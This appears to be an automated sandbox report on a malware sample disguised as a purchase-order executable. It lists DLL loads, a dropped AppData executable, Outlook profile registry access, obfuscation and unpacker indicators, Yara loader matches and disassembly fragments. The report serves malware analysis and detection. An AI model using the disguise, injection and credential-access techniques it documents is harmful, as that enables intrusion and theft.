Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003909000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000038B9000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1486633819.0000000005EF0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.000000000304C000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.0000000002AEA000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1739735884.0000000003957000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003909000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000038B9000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1486633819.0000000005EF0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.000000000304C000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.0000000002AEA000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1739735884.0000000003957000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, F8VZVLUPkb76WPMZ4nC.cs

.Net Code: Type.GetTypeFromHandle(BsT7LxEsYZUK6W2v1Rg.IPyYDtsMjk(16777265)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(BsT7LxEsYZUK6W2v1Rg.IPyYDtsMjk(16777259)),Type.GetTypeFromHandle(BsT7LxEsYZUK6W2v1Rg.IPyYDtsMjk(16777263))})

.NET source code contains potential unpacker

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, Importer.cs	.Net Code: CalcStub
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, WrapperOrderSpec.cs	.Net Code: TestIdentifier System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3909570.1.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.5db0000.12.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.5db0000.12.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.5db0000.12.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.5db0000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.5db0000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 8.2.Xpnzea.exe.41e3250.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.Xpnzea.exe.4583250.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.5d40000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.41e3250.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1472676483.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1652064396.0000000004583000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1485671738.0000000005D40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1708492205.00000000028F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1627992334.0000000002C98000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1739735884.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO_9876563647-FLOWTRONIX (FT)UUE.exe PID: 2944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xpnzea.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xpnzea.exe PID: 4260, type: MEMORYSTR

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C9E9ED push esi; iretd	0_2_05C9EAD1
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C9397B pushad ; retf	0_2_05C93981
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05C97B7B push esp; retf	0_2_05C97B81
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CA2E68 push eax; retf 0005h	0_2_05CA2E5D
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CA0358 push es; retf 0005h	0_2_05CA0666
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CA0353 push es; retf 0005h	0_2_05CA0666
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CA2B1B push eax; retf 0005h	0_2_05CA2E5D
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CA2B20 push eax; retf 0005h	0_2_05CA2E5D
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05CC2020 pushfd ; retf	0_2_05CC2021
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_05EE3278 push esi; iretd	0_2_05EE327E
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 0_2_06146E88 push E8000001h; iretd	0_2_06146E8D
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FF397B pushad ; retf	6_2_05FF3981
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_05FFEA6D push esi; iretd	6_2_05FFEAD1
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06002EA7 push esp; retf	6_2_06002EA8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06022020 pushfd ; retf	6_2_06022021
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06022FD0 push es; ret	6_2_06023080
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0618E498 push es; ret	6_2_0618E4BC
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06190C12 push es; ret	6_2_06190C20
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0619C545 push 280619C1h; ret	6_2_0619C565
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_0619C567 push 280619C1h; ret	6_2_0619C565
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_06243278 push esi; iretd	6_2_0624327E
